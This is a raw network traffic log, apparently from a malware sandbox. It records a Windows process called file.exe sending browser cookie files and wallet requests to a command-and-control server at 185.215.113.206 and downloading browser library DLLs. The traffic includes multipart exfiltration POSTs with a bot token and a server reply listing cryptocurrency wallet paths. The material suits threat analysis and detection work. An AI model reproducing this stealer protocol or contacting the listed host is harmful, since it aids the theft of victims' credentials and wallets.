32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GHDBAFIIECBFHIEBKJJK--
Nov 28, 2024 00:19:30.576004028 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 00:19:30.709749937 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="file"------FCBAEHCAEGDHJKFHJKFI--
Nov 28, 2024 00:19:31.665910006 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49794	185.215.113.206	80	7376	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 00:19:37.293190002 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHJJEHIEBKKFIDHDGHJ Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 00:19:37.293394089 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 4a 4a 45 48 49 45 42 4b 4b 46 49 44 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 Data Ascii: ------AFHJJEHIEBKKFIDHDGHJContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------AFHJJEHIEBKKFIDHDGHJContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 28, 2024 00:19:39.251851082 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 00:19:39.470554113 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file"------KFIJEGCBGIDGHIDHDGCB--
Nov 28, 2024 00:19:40.430054903 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 00:19:40.913197041 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 00:19:41.372277975 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 28, 2024 00:19:41.372323990 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 28, 2024 00:19:41.372334957 CET	448	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 28, 2024 00:19:41.372472048 CET	1236	IN	Data Raw: 07 00 74 10 8b 5c 24 28 e9 a7 00 00 00 0f 1f 80 00 00 00 00 8b 44 24 08 80 ec 01 8b 5c 24 28 73 46 8b 44 24 0c 2c 01 89 44 24 0c 73 40 8b 44 24 10 2c 01 89 44 24 10 73 3c 8b 44 24 14 2c 01 73 42 8b 44 24 18 2c 01 73 40 8b 44 24 20 2c 01 89 44 24 Data Ascii: t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?D$D$1D$L$D$D$D$D$f.DD$HjD$DPjL$HQPt$@mbD$HD$
Nov 28, 2024 00:19:41.372483969 CET	1236	IN	Data Raw: ca 74 2f 8b 45 10 8b 55 d0 89 10 b9 03 e0 ff ff 3b 55 14 8b 5d d4 77 22 31 ff 8b 45 0c 39 c6 74 3a 52 56 50 e8 20 01 08 00 eb 2d bf ff ff ff ff eb 3a b9 02 e0 ff ff 8b 5d d4 51 e8 73 00 08 00 83 c4 04 bf ff ff ff ff 8b 45 0c 39 c6 75 0c 53 6a 00 Data Ascii: t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}tVEGGH
Nov 28, 2024 00:19:41.372495890 CET	1236	IN	Data Raw: c4 0c eb 25 85 ff 74 15 89 c8 89 f1 89 d6 8b 55 10 56 50 e8 64 fc ff ff 83 c4 10 eb 6e 8d 46 08 89 45 ec 8b 46 08 89 45 f0 c7 46 08 00 00 00 00 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff Data Ascii: %tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@H
Nov 28, 2024 00:19:41.372508049 CET	672	IN	Data Raw: 53 ff 75 08 57 e8 97 f7 07 00 83 c4 0c 0f b6 8d f0 fe ff ff 8b b5 ec fe ff ff 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f Data Ascii: SuWT>\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]
Nov 28, 2024 00:19:41.372823954 CET	1236	IN	Data Raw: 14 0f 8b 5d e4 88 53 05 83 fe 06 0f 85 9c 08 00 00 89 c1 8b 45 08 8b 75 14 89 30 8b 45 f0 88 88 00 01 00 00 e9 ce 06 00 00 89 4d ec 83 e7 03 8b 4d e4 83 e1 03 8b 45 14 89 03 89 fe 89 c8 29 f8 88 75 e8 73 13 89 f7 29 cf c1 e7 03 b8 20 00 00 00 89 Data Ascii: ]SEu0EMME)us) }) )}})])EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<
Nov 28, 2024 00:19:41.372834921 CET	1236	IN	Data Raw: 8b 75 10 03 75 cc 8b 5d d4 8b 7d e0 0f 1f 84 00 00 00 00 00 0f b6 04 16 d3 e0 09 c7 83 c1 08 83 c2 01 39 d3 75 ee 89 7d e0 8a 55 e8 8b 4d ec 8b 7d e4 8b 5d dc 8b 45 d0 85 c0 74 35 88 55 e8 89 ca 89 c1 c1 e9 03 89 4d c0 83 c1 04 39 4d d8 89 5d dc Data Ascii: uu]}9u}UM}]Et5UM9M]]}<+ET}:M1}]fEUEEUD}4747EED}4}4E
Nov 28, 2024 00:19:41.381215096 CET	1236	IN	Data Raw: c8 11 ca 01 fb 89 5d b4 11 f2 89 55 c8 31 d0 8b 95 50 ff ff ff 31 da 89 d3 0f a4 c3 10 89 5d a0 0f ac c2 10 89 95 50 ff ff ff 8b 4d e8 01 d1 89 4d e8 8b 45 c0 11 d8 89 45 c0 31 c6 31 cf 89 f0 0f a4 f8 01 89 85 78 ff ff ff 0f a4 f7 01 89 bd 70 ff Data Ascii: ]U1P1]PMMEE11xptJ@FR<NF(]F,~L1FH1h5l>+;]gu33`t
Nov 28, 2024 00:19:43.028429985 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 00:19:43.494715929 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 28, 2024 00:19:44.530777931 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 00:19:44.989759922 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 28, 2024 00:19:45.696734905 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 00:19:46.156100988 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 28, 2024 00:19:49.563982010 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 00:19:50.024254084 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 28, 2024 00:19:50.668045044 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 00:19:51.128077030 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 28, 2024 00:19:51.705574989 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEB Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 00:19:52.844947100 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 00:19:52.895760059 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDBFBFHJDGCAKEGHJE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="message"wallets------EGIDBFBFHJDGCAKEGHJE--
Nov 28, 2024 00:19:53.356992960 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:53 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 